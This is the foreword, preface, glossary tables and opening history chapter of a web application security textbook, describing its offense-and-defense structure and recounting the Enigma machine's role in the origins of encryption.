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Foreword

How do you ensure your modern web apps are secure? I doubt anyone thinks this is a
simple question to answer. The problem is that although we all agree it’s a hard ques‐
tion, we don’t agree on how to answer it. When we speak with our customers on this
topic, there is one word that comes up frequently, one word that summarizes the
range of responses we hear—and that word is “friction.”

What’s the source of this friction? Development and DevOps teams often feel that the
approaches mandated by Security and SecOps teams for securing modern applica‐
tions are unnecessarily intrusive, obstructing their pipelines and slowing down appli‐
cation development and deployment. Meanwhile, Security/SecOps teams feel that
Dev/DevOps teams fail to understand that compliance pressures faced by the busi‐
ness itself are the source of the urgency and don’t fully grasp the importance of ensur‐
ing that applications are secure. Sometimes Dev/DevOps teams “go rogue,” adopting
unapproved processes and tools to get around the requirements and practices pre‐
scribed by the Security/SecOps teams. This potentially exposes applications and the
company to security risks, and definitely creates resentment on Security/SecOps
teams.

This friction goes beyond these relationships. It is driven by the fact that the security
paradigm for applications has fundamentally changed. Modern web applications are
harder to secure because of how they are designed. They are much more open and
distributed; in reality, a modern application is a collection of interactions between dif‐
ferent APIs, services, endpoints, devices, and so on. These interactions span a wide
range of boundaries inside and outside the organization, and the ever-evolving attack
surface is hard to defend. Far too often, organizations try to secure the attack surface
with tools that are inadequate—either because they’re not designed for the task or do
not adapt quickly enough to new attack types. The result is too many tools, too many
approaches, and too many opinions, leading to limited security efficacy, impacts on
application performance, and in the worst case, a headline-grabbing attack.
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If these problems affect your organization, this book is an excellent resource for you,
whether you’re on the development or security side of the fence. Author Andrew
Hoffman starts by profiling the types of security challenges and attacks faced by
modern web applications: attacks today are often slow and methodological, patiently
examining the entire surface area of a large distributed application for any potential
entry point. Once that entry point is located, the attacker designs an exploit specifi‐
cally for it. Such attacks are smartly optimized against the application’s business
model, leveraging automated tools that continually probe the application for different
weaknesses.

Hoffmann then shifts from offense to defense, describing the best ways to defend
against different types of attacks. The defensive strategies relate back to how modern
applications are designed and built. Good security starts with good design that con‐
siders the distributed nature of the application. Hoffman also takes time to stress that
security is not a singular event, but rather a process that must be folded into the entire
software development life cycle. He goes into detail about the various security ele‐
ments that should be considered as part of that life cycle.

The lessons in this book are important for both your development teams and your
security teams. All parties involved in modern application development need to
understand how security aligns with the development life cycle. Stronger alignment
leads to the selection of better tools and the creation of best practices tailored specifi‐
cally for the security needs of your applications. Ultimately, the goal is to promote
strong cooperation between your development and security teams—and if one thing
is the enemy of friction, it is cooperation.

— Chris Witeck
Director of Product Management, NGINX Security

xvi | Foreword



Preface

Welcome to Web Application Security: Exploitation and Countermeasures for Modern
Web Applications. In this preface, we will discuss the required foundations for suc‐
cessfully reading and understanding the content in this book. We will also discuss
learning goals and attempt to build an archetypical reader profile so you (the reader)
can understand if you will benefit from this book or not.

Consider completing this preface prior to moving on to Chapter 1 if you don’t know
if this book is for you, or if you aren’t sure your existing skill set is ready for the tech‐
nical content in the following chapters.

Prerequisite Knowledge and Learning Goals
This is a book that will not only aid you in learning how to defend your web applica‐
tion against hackers, but will also walk you through the steps hackers take in order to
investigate and break into a web application.

Throughout this book we will discuss many techniques that hackers are using today
to break into web applications hosted by corporations, governments, and occasionally
even hobbyists.

Following sufficient investigation into the previously mentioned techniques, we begin
a discussion on how to secure web applications against these hackers.

In doing so you will discover brand new ways of thinking about application architec‐
ture. You will also learn how to integrate security best practices into an engineering
organization. Finally, we will evaluate a number of techniques for defending against
the most common and dangerous types of attacks that occur against web applications
today.

After completing Web Application Security you will have the required knowledge to
perform recon techniques against applications you do not have code-level access to.
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You will also be able to identify threat vectors and vulnerabilities in web applications,
and craft payloads designed to compromise application data, interrupt execution
flow, or interfere with the intended function of a web application.

With these skills in hand, and the knowledge gained from the final section on secur‐
ing web applications, you will be able to identify risky areas of a web application’s
codebase and understand how to write code to defend against attacks that would
otherwise leave your application and its users at risk.

The content in this book ramps up progressively, so if you choose
to skip ahead and find you are missing essential prerequisite infor‐
mation, just go back a few chapters to catch up.
Any topics that are not defined as a prerequisite in this chapter
should not be presented in the book without prior explanation.

Suggested Background
The potential audience for this book is quite broad, but the style in which the book is
written and how the examples are structured should make it ideal for anyone with an
intermediary-level background in software engineering.

What does an “intermediary-level background in software engineering” imply, you
might ask? The answer to that question will differ significantly from person to per‐
son. As far as any highly technical person is concerned, this book might actually only
require a “beginner-level background in software engineering.” In other words, a sys‐
tem administrator with prior web development and/or scripting experience (if suffi‐
cient enough) could reasonably read through this book and understand all of the
examples. That being said, this book includes examples that require both client and
server coding knowledge. Knowing one or the other is not be sufficient for a deep
understanding of these examples.

This book also includes discussions regarding basic client/server networking over
HTTP. Additionally, conversations regarding software architecture pop up in later
chapters as we explore ways of integrating in-house software with third-party soft‐
ware while mitigating security risks.

Because so many topics are covered in this book, I have chosen to define the required
skill level to successfully complete this book as “intermediate” versus “beginner”
because this book would not be appropriate for those without any experience or
knowledge of writing production-quality software applications.
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Minimum Required Skills
In this book, an “intermediary-level background in software engineering” implies the
following:

• You can write basic CRUD (create, read, update, delete) programs in at least one
programming language.

• You can write code that runs on a server somewhere (such as backend code).
• You can write at least some code that runs in a browser (frontend code, usually

JavaScript).
• You know what HTTP is, and can make, or at least read, GET/POST calls over

HTTP in some language or framework.
• You can write, or at least read and understand, applications that make use of both

server-side and client-side code, and communicate between the two over HTTP.
• You are familiar with at least one popular database (MySql, MongoDB, etc.).

These skills represent the minimum criteria for successfully following the examples in
this book. Any experience you have beyond these bullet points is a plus and will make
this book that much easier for you to consume and derive educational value from.

Although the majority of the code examples in this book are writ‐
ten in JavaScript for simplicity’s sake (so that the client and server
code are in the same language), most of the examples can be
applied to other languages with little effort.

I have done my best to organize the topics in this book so that they ramp up in diffi‐
culty at a maintainable pace. I have also tried to be as verbose as possible in my
explanations. This means that whenever I cover a new technology, I start with a brief
background and overview of how that technology works.

Who Benefits Most from Reading This Book?
Prerequisite skills aside, I believe it is important to clarify who will benefit from this
book the most, so I’d like to explain who my target audience is. To do so I have struc‐
tured this section in terms of learning goals and professional interests. If you don’t fit
into one of the following categories, you can still learn many valuable or at least inter‐
esting concepts from this book.

This book was written to stand the test of time, so if you decide later on to pursue one
of the occupations in its target audience, all of the knowledge from this book should
still be relevant.
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Software Engineers and Web Application Developers
I believe it would be fair to say that the primary audience for this book is an early- to
mid-career software engineer or web application developer. Ideally, this reader is
interested in gaining a deep understanding of either offensive techniques used by
hackers, or defensive techniques used by security engineers to defend against hackers.

Often the titles “web application developer” and “software engineer” are interchange‐
able, which might lead to a bit of confusion considering I use both of them through‐
out the upcoming chapters. Let’s start off with some clarification.

Software engineers
In my mind, and for the sake of clarity, when I use the term “software engineer,” I am
referring to a generalist who is capable of writing software that runs on a variety of
platforms. Software engineers will benefit from this book in several ways.

First off, much of the knowledge contained in this book is transferable with minimal
effort to software that does not run on the web. It is also transferable to other types of
networked applications, with native mobile applications being the first that come to
mind.

Furthermore, several exploits discussed in this book take advantage of server-side
integrations involving communication with a web application and another software
component. As a result, it is safe to consider any software that interfaces with a web
application as a potential threat vector (databases, CRM, accounting, logging tools,
etc.).

Web application developers
On the other hand, a “web application developer” by my definition is someone who is
highly specialized in writing software that runs on the web. They are often further
subdivided into frontend, backend, and full stack developers.

Historically, many attacks against web applications have targeted server-side vulnera‐
bilities. As a result I believe this book’s use case for a backend or full stack developer
is very transparent and easily understood.

I also believe this book should be valuable for other types of web application develop‐
ers, including those who do not write code that runs on a server but instead runs on a
web browser (frontend/JavaScript developers).

As I explain in the upcoming chapters, many of the ways in which hackers take
advantage of today’s web applications originate via malicious code running in the
browser. Some hackers are even taking advantage of the browser DOM or CSS style‐
sheets in order to attack an application’s users.
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These points suggest that it is also important for frontend developers who do not
write server-side code to be aware of the security risks their code may expose and
how to mitigate those risks.

General Learning Goals
This book should be a fantastic resource for any of the preceding looking to make a
career change to a more security-oriented role. It will also be valuable for those look‐
ing to learn how to beef up the defenses in their own code or in the code maintained
by their organization.

If you want to defend your application against very specific exploits, this book is also
for you. This book follows a unique structure, which should enable you to use it as a
security reference without ever having to read any of the chapters that involve hack‐
ing. That is, of course, if that is your only goal in purchasing this book.

I would suggest reading from cover to cover for the best learning experience, but if
you are looking only for a reference on securing against specific types of hacks, just
flip the book halfway open and get started reading.

Security Engineers, Pen Testers, and Bug Bounty Hunters
As a result of how this book is structured, it can also be used as a resource for pene‐
tration testing, bug bounty hunting, and any other type of application-level security
work. If this type of work is relevant or interesting to you, then you may find the first
half of the book more to your liking.

This book will take a deep dive into how exploits work from both a code level and an
architectural level rather than simply executing well-known open source software
(OSS) scripts or making use of paid security automation software. Because of this
there is a second audience for this book—software security engineers, IT security
engineers, network security engineers, penetration testers, and bug bounty hunters.

Want to make a little bit of extra money on the side while develop‐
ing your hacking skills? Read this book and then sign up for one of
the bug bounty programs noted in Part III. This is a great way to
help other companies improve the security of their products while
developing your hacking skills and making some additional cash.

This book will be very beneficial to existing security professionals who understand
conceptually how many attacks work but would like a deep dive into the systems and
code behind a tool or script.

In today’s security world, it is commonplace for penetration testers to operate using a
wide array of prebuilt exploit scripts. This has led to the creation of many paid and
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open source tools that automate classic attacks, and attacks that can be easily run
without deep knowledge regarding the architecture of an application or the logic
within a particular block of code.

The exploits and countermeasures contained within this book are presented without
the use of any specialized tools. Instead, we will rely on our own scripts, network
requests, and the tooling that comes standard in Unix-based operating systems, as
well as the standard tooling present in the three major web browsers (Chrome, Fire‐
fox, and Edge).

This is not to take away from the value of specialized security tools. In fact, I think
that many of them are exceptional and make delivering professional, high-quality
penetration tests much easier!

Instead, the reason this book does not contain the use of specialized security tools is
so that we can focus on the most important parts of finding a vulnerability, develop‐
ing an exploit, prioritizing data to compromise, and making sure you can defend
against all of the above. As a result, I believe that by the end of this book you will be
prepared to go out into the wild and find new types of vulnerabilities, develop
exploits against systems that have never been exploited before, and harden the most
complex systems against the most persistent attackers.

How Is This Book Organized?
You will soon find that this book is structured quite differently than most other tech‐
nology books out there. This is intentional. This book is purposefully structured so
that there is a nearly 1:1 ratio of chapters regarding hacking (offense) and security
(defense).

After beginning our adventure with a bit of a history lesson and some exploration
into the technology, tools, and exploits of the past, we will move on to our main topic:
exploitation and countermeasures for modern web applications. Hence the subtitle of
this book.

The main content in this book is structured into three major parts, with each part
containing many individual chapters covering a wide array of topics. Ideally, you will
venture through this book in a linear fashion, from page one all the way to the final
page. Reading this book in that order will provide the greatest learning possible. As
mentioned earlier, this book can also be used as either a hacking reference or a secu‐
rity engineering reference by focusing on the first or second half, respectively.

By now you should understand how to navigate the book, so let’s go over the three
main parts of this book so we can grasp the importance of each.
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Recon
The first part of this book is “Recon,” where we evaluate ways to gain information
regarding a web application without necessarily trying to hack it.

In “Recon,” we discuss a number of important technologies and concepts that are
essential to master if you wish to become a hacker. These topics will also be important
to anyone looking to lock down an existing application, because the information
exposed by many of these techniques can be mitigated with appropriate planning.

I have had the opportunity to work with what I believe to be some of the best pene‐
tration testers and bug bounty hunters in the world. Through my conversations with
them and my analysis of how they do their work, I’ve come to realize this topic is
much more important than many other books make it out to be.

Why is recon important?
I would go so far as to say that for many of the top bug bounty hunters in the world,
expert-level reconnaissance ability is what differentiates these “great” hackers from
simply “good” hackers.

In other words, it’s one thing to have a fast car (in this case, perhaps knowing how to
build exploits), but without knowing the most efficient route to the finish line, you
may not win the race. A slower car could make it to the finish line in less time than a
fast one if a more efficient path is taken.

If fantasy-based analogies hit closer to home, you could think of recon skills as some‐
thing akin to a rogue in an RPG. In our case, the rogue’s job isn’t to do lots of damage,
but instead to scout ahead of the group and circle back with intel. It’s the guy who
helps line up the shots and figures out which battles will have the greatest rewards.

The last part in particular is exceedingly valuable, because it’s likely many types of
attacks could be logged against well-defended targets. This means you might only get
one chance to exploit a certain software hole before it is found and closed.

We can safely conclude that the second use of reconnaissance is figuring out how to
prioritize your exploits.

If you are interested in a career as a penetration tester or a bug bounty hunter, this
part of the book will be of utmost importance to you. This is largely because in the
world of bug bounty hunting, and to a lesser extent penetration testing, tests are
performed “black box” style. “Black box” testing is a style of testing where the tester
has no knowledge of the structure and code within an app, and hence must build
their own understanding of the application through careful analysis and
investigation.
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Offense
The second part of this book is “Offense.” Here the focus of the book moves from
recon and data gathering to analyzing code and network requests. Then with this
knowledge we will attempt to take advantage of insecurely written or improperly con‐
figured web applications.

A number of chapters in this book explain actual hacking techni‐
ques used by malicious black hat hackers in the real world. It is
imperative that if you are testing techniques found in this book,
you do so only against an application that you own or have explicit
written permission to test exploits against.
Improper usage of the hacking techniques presented in this book
could result in fines, jail time, etc., depending on your country’s
laws on hacking activity.

In Part II, we learn how to both build and deploy exploits. These exploits are
designed to steal data or forcibly change the behavior of an application.

This part of the book builds on the knowledge from Part I, “Recon.” Using our previ‐
ously acquired reconnaissance skills in conjunction with newly acquired hacking
skills, we will begin taking over and attacking demo web applications.

Part II is organized on an exploit-by-exploit basis. Each chapter explains in detail a
different type of exploit.

These chapters start with an explanation of the exploit itself so you can understand
how it works mechanically. Then we discuss how to search for vulnerabilities where
this exploit can be applied. Finally, we craft a payload specific to the demo application
we are exploiting. We then deploy the payload, and observe the results.

Vulnerabilities considered in depth
Cross-Site Scripting (XSS), one of the first exploits we dig into, is a type of attack that
works against a wide array of web applications, but can be applied to other applica‐
tions as well (e.g., mobile apps, flash/ActionScript games, etc.). This particular attack
involves writing some malicious code on your own machine, then taking advantage
of poor filtration mechanisms in an app that will allow your script to execute on
another user’s machine.

When we discuss an exploit like an XSS attack, we will start with a vulnerable app.
This demo app will be straightforward and to the point, ideally just a few paragraphs
of code. From this foundation, we will write a block of code to be injected as a pay‐
load into the demo app, which will then take advantage of a hypothetical user on the
other side.
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Sounds simple doesn’t it? And it should be. Without any defenses, most software sys‐
tems are easy to break into. As a result, with an exploit like XSS where there are many
defenses, we will progressively dig deeper and deeper into the specifics of writing and
deploying an attack.

We will initially attempt to break down routine defenses and eventually move on to
bypassing more advanced defense mechanisms. Remember, just because someone
built a wall to defend their codebase doesn’t mean you can’t go over it or underneath
it. This is where we will get to use some creativity and find some unique and interest‐
ing solutions.

Part II is important because understanding the mindset of a hacker is often vital for
architecting secure codebases. It is exceptionally important for any reader interested
in hacking, penetration testing, or bug bounty hunting.

Defense
The third and final part of this book, “Defense,” is about securing your own code
against hackers. In Part III, we go back and look at every type of exploit we covered in
Part II and attempt to consider them again with a completely opposite viewpoint.
This time, we will not be concentrating on breaking into software systems, but
instead attempting to prevent or mitigate the probability that a hacker could break
into our systems.

In Part III you will learn how to protect against specific exploits from Part II, in addi‐
tion to learning general protections that will secure your codebase against a wide
variety of attacks. These general protections range from “secure by default” engineer‐
ing methodologies, to secure coding best practices that can be enforced easily by an
engineering team using tests and other simple automated tooling (such as a linter).

Beyond learning how to write more secure code, you will also learn a number of
increasingly valuable tricks for catching hackers in the act and improving your organ‐
ization’s attitude toward software security.

Most chapters in Part III restructured somewhat akin to the hacking chapters in
Part II. We begin with an overview of the technology and skills required as we begin
preparing a defense against a specific type of attack.

Initially we will prepare a basic-level defense, which should help mitigate attacks but
may not always fend off the most persistent hackers. Finally, we will improve our
defenses to the point where most, if not all, hacking attempts will be stopped.

At this point, the structure of Part III begins to differ from that of Part II as we dis‐
cuss trade-offs that result from improving application security. Generally speaking, all
measures of improving security will have some type of trade-off outside of security. It
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may not be your place to make suggestions on what level of risk should be accepted at
the cost of your product, but you should be aware of the trade-offs being made.

Often, these trade-offs come in the form of application performance. The more
efforts you take to read and sanitize data, the more operations are performed outside
of the standard functionality of your application. Hence a secure feature typically
requires more computing resources than an insecure feature.

With further operations also comes more code, which means more maintenance,
tests, and engineering time. This development overhead to security often comes in
the form of logging or monitoring overhead as well.

Finally, some security precautions will come at the cost of reduced usability.

Trade-off evaluation
A very simple example of this process of comparing security benefits to their cost, in
terms of usability and performance, is a login form. If an error message for an invalid
username is displayed to the user when attempting to log in, it becomes significantly
easier for a hacker to brute force username/password combinations. This occurs
because the hacker no longer has to find a list of active login usernames, as the appli‐
cation will confirm a user account. The hacker simply needs to successfully brute
force a few usernames, which can be confirmed and logged for later break-in
attempts.

Next, the hacker only needs to brute force passwords rather than username/password
combinations, which implies significantly decreased mathematical complexity and
takes much less time and resources.

Furthermore, if the application uses an email and password scheme for login rather
than a username and password scheme, then we have another problem. A hacker can
use this login form to find valid email addresses that can be sold for marketing or
spam purposes. Even if precautions are taken to prevent brute forcing, carefully craf‐
ted inputs (e.g., first.last@company.com, firstlast@company.com, firstl@company.com)
can allow the hacker to reverse engineer the schema used for company email
accounts and pinpoint the valid accounts of execs for sales or individuals with impor‐
tant access criteria for phishing.

As a result, it is often considered best practice to provide more generic error mes‐
sages to the user. Of course, this change conflicts with the user experience because
more specific error messages are definitely ideal for the usability of your application.

This is a great example of a trade-off that can be made for improved application secu‐
rity, but at the cost of reduced usability. This should give you an idea of the type of
trade-offs that are discussed in Part III of this book.
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This part of the book is extremely important for any security engineer who wants to
beef up their skills, or any software engineer looking at transitioning to a security
engineering role. The information presented here will help in architecting and writ‐
ing more secure applications.

As in Part II, understanding how an application’s security can be improved is a valua‐
ble asset for any type of hacker. This is because while routine defenses can often be
easily bypassed, more complex defenses require deeper understanding and knowl‐
edge to bypass. This is further evidence as to why I suggest reading the book from
start to finish.

Although some parts of this book may give you more valuable learning than others,
depending on your goals, I doubt any of it will be wasted. Cross-training of this sort
is particularly valuable, as each part of the book is just another perspective on the
same puzzle.

Language and Terminology
It has probably become evident by now that this book aims to teach you a number of
very useful but also very rare and particular skills. While these skills are increasingly
valuable, and will very much improve your saleability on the job market, they are also
quite difficult to learn, requiring focus, aptitude, and the capacity to pick up a whole
new mental model that defines how you look at web applications.

In order to correctly communicate these new skills, we need to establish some com‐
mon language. This is important to help me guide you through the book without
confusion, and also to help you express your new ideas in a way that is consistent
across security and engineering organizations.

Each time I introduce a new term or phrase, I do my best to explain it. In particular,
when dealing with acronyms, I spell out the acronym first prior to using the acronym
by itself. You saw this earlier when I spelled out Cross-Site Scripting (XSS).

Beyond that, I have done my best to determine what terms and phrases might need
explaining. I have collected them and organized them into the following tables
(Tables P-1 to P-3).

If you ever stumble across a term or phrase you don’t fully understand, feel free to
jump back to this chapter (bookmark it!) and see if it is listed here. If it isn’t, feel free
to send an email to my editor, and perhaps we can include it in the next edition of the
book—should I be lucky enough to sell enough copies to warrant a sequel!

Preface | xxvii



Table P-1. Occupation

Occupation Description
Hacker Someone who breaks into systems, typically in order to exfiltrate data or cause the system to perform in a

way its developers did not originally intend.

White hat Sometimes called an “ethical hacker”—one who uses hacking techniques to assist organizations in
improving security.

Black hat The archetypal hacker—one who uses hacking techniques to break into systems in order to profit, cause
chaos, or to satisfy their own goals and interests.

Grey hat A hacker somewhere in between white hat and black hat; occasionally these hackers will violate laws such
as attempting to break into applications without permission, but often for the sake of discovery or
recognition rather than profit or to cause chaos.

Penetration
tester

Someone who is paid to break into systems, often in the same ways a hacker would. Unlike hackers,
penetration testers are paid to report bugs and oversights in the application software so that the company
that owns the software can fix it before it is broken into by a hacker with malicious intent.

Bug bounty
hunter

A freelance penetration tester. Often, large companies will create “responsible disclosure programs” that
award cash prizes for reporting security holes. Some bug bounty hunters work full time, but often these
are full-time professionals who participate outside of work for extra money.

Application
security
engineer

Sometimes called a “product security engineer”—a software engineer whose role is to evaluate and
improve the security of an organization’s codebase and application architecture.

Software
security
engineer

A software engineer whose role is to develop security-related products, but who is not necessarily in
charge of evaluating security for the greater organization.

Admin Sometimes called a “sys admin” or “system administrator.” Admins are technical staff charged with
maintaining the configuration and uptime on a web server or web application.

Scrum master A leadership position in an engineering organization responsible for aiding an engineering team in
planning and executing development work.

Security
champion

A software engineer not affiliated with a security organization, nor responsible for security work, but
interested in improving the security of an organization’s code.

Table P-2. Terms

Term Description
Vulnerability A bug in a software system, often as a result of engineering oversight or unexpected functionality when

connecting multiple modules together. This particular type of bug allows a hacker to perform unintended
actions against the software system.

Threat vector or
attack vector

A subsection of application functionality that a hacker deems written insecurely, hence likely to include
vulnerabilities and be a good target for hacking.

Attack surface A list of vulnerabilities in an application that a hacker will build when determining how best to attack a
software system.

Exploit Typically a block of code or list of commands that can be used to take advantage of a vulnerability.

Payload An exploit that has been formatted in a way that allows it to be sent to a server to take advantage of a
vulnerability. Often this just means packaging up an exploit into the proper format to be sent over a
network.

xxviii | Preface



Term Description
Red team A team often comprised of penetration testers, network security engineers, and software security

engineers. This team attempts to hack into a company’s software to assess the company’s ability to stand
up against actual hackers.

Blue team A team often comprised of software security engineers and network security engineers. This team
attempts to improve a company’s software security, often using feedback from a red team to drive
prioritization.

Purple team A team that performs a combination of both red team and blue team role responsibilities. A general-
purpose security team rather than a specialized team, often more difficult to correctly staff due to
expansive skill requirements.

Website A series of information documents accessible via the internet, typically over the HTTP protocol.

Web application A desktop-like application that is delivered via the internet and run inside of a browser rather than a host
operating system. These differ from traditional websites in that they have many levels of permissions,
store user input in databases, and often allow users to share content with each other.

Hybrid
application

A mobile application that is built on top of web-based technology. Typically these make use of another
library, like Apache’s Cordova, in order to share native functionality with the web application on top.

Table P-3. Acronyms

Acryonym Description
API Application programming interface—a set of functions exposed by one code module with the intent for other

code to consume and make use of it. Typically used in this book when referring to functions exposed over HTTP
that a browser can call on a server. Can also be used when referring to modules communicating locally, including
separate modules in the same software package.

CSRF Cross-Site Request Forgery—an attack where a hacker is able to take advantage of a privileged user’s
permissions in order to make requests against a server.

CSS Cascading Style Sheets—a styling language usually used in combination with HTML to create visually appealing
and properly aligned UI.

DDoS Distributed denial of service—a DoS attack that is performed at scale by multiple computers at once,
overwhelming a server with sheer numbers; a single computer would likely not be able to cause such mayhem.

DOM Document Object Model—an API that is shipped with every web browser. Includes all the necessary
functionality for organizing and managing the HTML in the page alongside APIs for managing history, cookies,
URLs, and other common browser functionality.

DoS Denial of service—an attack that focuses not on stealing data, but instead on requesting so many server or
client resources that the application user experience is worsened or the application no longer functions.

HTML HyperText Markup Language—a templating language used on the web alongside CSS and JavaScript.

HTTP HyperText Transfer Protocol—the most commonly used networking protocol for communicating between clients
and servers in a web application or website.

HTTPS HyperText Transfer Protocol Secure—HTTP traffic that is encrypted using either HTTP over TLS or HTTP over SSL.

JSON JavaScript Object Notation—a specification for storing hierarchical data in a way that is lightweight, easy to read
by humans, and easy to read by machines. Often used when communicating between the browser and a web
server in modern web applications.

OOP Object-oriented programming—a programming model that organizes code around objects and data structures,
rather than functionality or logic.

OSS Open source software—software that is freely available for both consumption and for modification. Often
published under licenses like MIT, Apache, GNU, or BSD.
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Acryonym Description
REST Representational State Transfer—a specific architecture for building stateless APIs that define API endpoints as

resources rather than functional units. Many data formats are permitted in REST, but typically JSON is used.

RTC Real time communication—a newer networking protocol that allows browsers to communicate with each other
and web servers.

SOAP Simple Object Access Protocol—a protocol for function-driven APIs that require strictly written schemas. Only
supports XML as a data format.

SOP Same Origin Policy—a browser-enforced policy that prevents content from one origin from being loaded in
another origin.

SPA Single-page application—also called “single-page web application” (SPWA). Refers to a website on the internet
that functions similarly to a desktop application managing its own UI and state rather than using the browser-
provided defaults.

SSDL Secure software development life cycle—also called SDLC/SDL. A common framework that allows software
engineers and security engineers to work together in order to write more secure code.

SSL Secure Sockets Layer—a cryptographic protocol designed for securing information in transit (over the network),
in particular for use in HTTP.

TLS Transport Layer Security—a cryptographic protocol designed for securing information in transit (over the
network), typically used in HTTP. This protocol replaced SSL, which is now deprecated.

VCS Version control system—a special type of software used for managing historical additions and redactions from a
codebase. Sometimes also includes dependency management and collaboration features.

XML Extensible Markup Language—a specification for storing hierarchical data that adheres to a strict set of rules.
Heavier weight than JSON but more configurable.

XSS Cross-Site Scripting—a type of attack that involves forcing another client (often a browser) to run code written
by a hacker.

XXE XML External Entity—an attack that relies on an improperly configured XML parser to steal local files on the web
server or include malicious files from another web server.

Summary
This is a multifaceted book designed to be beneficial for those with both offensive
and defensive security interests. It is also written to make it easily accessible for any
type of developer or administrator with a sufficient web programming background
(client + server) to understand and use.

Web Application Security walks you through a number of techniques used by talented
hackers and bug bounty hunters to break into applications, then teaches you the tech‐
niques and processes you can implement in your own software to protect against
such hackers.

This book is designed to be read from cover to cover, but can also be used as an on-
demand reference for particular types of recon techniques, attacks, and defenses
against attacks. Ultimately, this book is written to aid the reader in becoming better at
web application security in a way that is practical, hands-on, and follows a logical
progression such that no significant prior security experience is required.
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I sincerely hope the hundreds of hours that have gone into writing this book are ben‐
eficial to you (the reader), and that you derive some interesting learning from its con‐
tents. You are welcome to reach out to me with any feedback or suggestions for future
editions.

Conventions Used in This Book
The following typographical conventions are used in this book:

Italic
Indicates new terms, URLs, email addresses, filenames, and file extensions.

Constant width

Used for program listings, as well as within paragraphs to refer to program ele‐
ments such as variable or function names, databases, data types, environment
variables, statements, and keywords.

Constant width bold

Shows commands or other text that should be typed literally by the user.

Constant width italic

Shows text that should be replaced with user-supplied values or by values deter‐
mined by context.

This element signifies a tip or suggestion.

This element signifies a general note.

This element indicates a warning or caution.
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CHAPTER 1

The History of Software Security

Before delving into actual offensive and defensive security techniques, it is important
to have at least some understanding of software security’s long and interesting his‐
tory. A brief overview of major security events in the last one hundred years should
be enough to give you an understanding of the foundational technology underlying
today’s web applications. Furthermore, it will show off the ongoing relationship
between the development of security mechanisms and the improvisation of forward-
thinking hackers looking for opportunities to break or bypass those mechanisms.

The Origins of Hacking
In the past two decades, hackers have gained more publicity and notoriety than ever
before. As a result, it’s easy for anyone without the appropriate background to assume
that hacking is a concept closely tied to the internet and that most hackers emerged in
the last 20 years.

But that’s only a partial truth. While the number of hackers worldwide has definitely
exploded with the rise of the World Wide Web, hackers have been around since the
middle of the 20th century—potentially even earlier depending on what you define as
“hacking.” Many experts debate the decade that marks the true origin of modern
hackers because a few significant events in the early 1900s showed significant resem‐
blance to the hacking you see in today’s world.

For example, there were specific isolated incidents that would likely qualify as hack‐
ing in the 1910s and 1920s, most of which involved tampering with Morse code send‐
ers and receivers, or interfering with the transmission of radio waves. However, while
these events did occur, they were not common, and it is difficult to pinpoint large-
scale operations that were interrupted as a result of the abuse of these technologies.
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It is also important to note that I am no historian. I am a security professional with a
background in finding solutions to deep architectural and code-level security issues
in enterprise software. Prior to this, I spent many years as a software engineer writing
web applications in various languages and frameworks. I continue writing software
today in the form of security automation, in addition to contributing to various
projects on my own time as a hobby. This means that I am not here to argue specifics
or debate alternative origin stories. Instead, this section is compiled based on many
years of independent research, with the emphasis being on the lessons we can extract
from these events and apply today.

Because this chapter is not intended to be a comprehensive overview, but instead a
reference for critical historical events, we begin our timeline in the early 1930s. Now,
without further interruption, let’s examine a number of historical events that helped
shape the relationship between hackers and engineers today.

The Enigma Machine, Circa 1930
The Enigma machine used electric-powered mechanical rotors to both encrypt and
decrypt text-based messages sent over radio waves (see Figure 1-1). The device had
German origins and would become an important technological development during
the Second World War.

Figure 1-1. The Enigma machine
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The device looked like a large square or rectangular mechanical typewriter. On each
key press, the rotors would move and record a seemingly random character that
would then be transmitted to all nearby Enigma machines. However, these characters
were not random, and were defined by the rotation of the rotor and a number of con‐
figuration options that could be modified at any time on the device. Any Enigma
machine with a specific configuration could read or “decrypt” messages sent from
another machine with an identical configuration. This made the Enigma machine
extremely valuable for sending crucial messages while avoiding interception.

While a sole inventor of the rotary encryption mechanism used by the machine is
hard to pinpoint, the technology was popularized by a two-man company called
Chiffriermaschinen AG based in Germany. In the 1920s, Chiffriermaschinen AG
traveled throughout Germany demonstrating the technology, which led to the Ger‐
man military adopting it in 1928 to secure top-secret military messages in transit.

The ability to avoid the interception of long-distance messages was a radical develop‐
ment that had never before been possible. In the software world of today, the inter‐
ception of messages is still a popular technique that hackers try to employ, often
called a man-in-the-middle attack. Today’s software uses similar (but much more
powerful) techniques to those that the Enigma machine used a hundred years ago to
protect against such attacks.

While the Enigma machine was an incredibly impressive technology for its time, it
was not without flaws. Because the only criterion for interception and decryption was
an Enigma machine with an identical configuration to the sender, a single compro‐
mised configuration log (or private key, in today’s terms) could render an entire net‐
work of Enigma machines useless.

To combat this, any groups sending messages via the Enigma machine changed their
configuration settings on a regular basis. Reconfiguring Enigma machines was a
time-consuming process. First, the configuration logs had to be exchanged in person,
as secure ways of sharing them remotely did not yet exist. Sharing configuration logs
between a network of two machines and two operators might not be painful. But a
larger network, say 20 machines, required multiple messengers to deliver the configu‐
ration logs—each increasing the probability of a configuration log being intercepted
and stolen, or potentially even leaked or sold.

The second problem with sharing configuration logs was that manual adjustments to
the machine itself were required for the Enigma machine to be able to read, encrypt,
and decrypt new messages sent from other Enigma machines. This meant that a spe‐
cialized and trained staff member had to be present in case a configuration update
was needed. This all occurred in an era prior to software, so these configuration
adjustments required tampering with the hardware and adjusting the physical layout
and wiring of the plugboard. The adjuster needed a background in electronics, which
was very rare in the early 1900s.
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As a result of how difficult and time-consuming it was to update these machines,
updates typically occurred on a monthly basis—daily for mission-critical communi‐
cation lines. If a key was intercepted or leaked, all transmissions for the remainder of
the month could be intercepted by a malicious actor—the equivalent of a hacker
today.

The type of encryption these Enigma machines used is now known as a symmetric
key algorithm, which is a special type of cipher that allows for the encryption and
decryption of a message using a single cryptographic key. This family of encryption is
still used today in software to secure data in transit (between sender and receiver),
but with many improvements on the classic model that gained popularity with the
Enigma machine.

In software, keys can be made much more complex. Modern key generation algo‐
rithms produce keys so complex that attempting every possible combination (brute
forcing or brute force attack) with the fastest possible modern hardware could easily
take more than a million years. Additionally, unlike the Enigma machines of the past,
software keys can change rapidly.

Depending on the use case, keys can be regenerated at every user session (per login),
at every network request, or at a scheduled interval. When this type of encryption is
used in software, a leaked key might expose you for a single network request in the
case of per-request regeneration, or worst-case scenario, a few hours in the case of
per-login (per-session) regeneration.

If you trace the lineage of modern cryptography far back, you will eventually reach
World War II in the 1930s. It’s safe to say that the Enigma machine was a major mile‐
stone in securing remote communications. From this, we can conclude that the
Enigma machine was an essential development in what would later become the field
of software security.

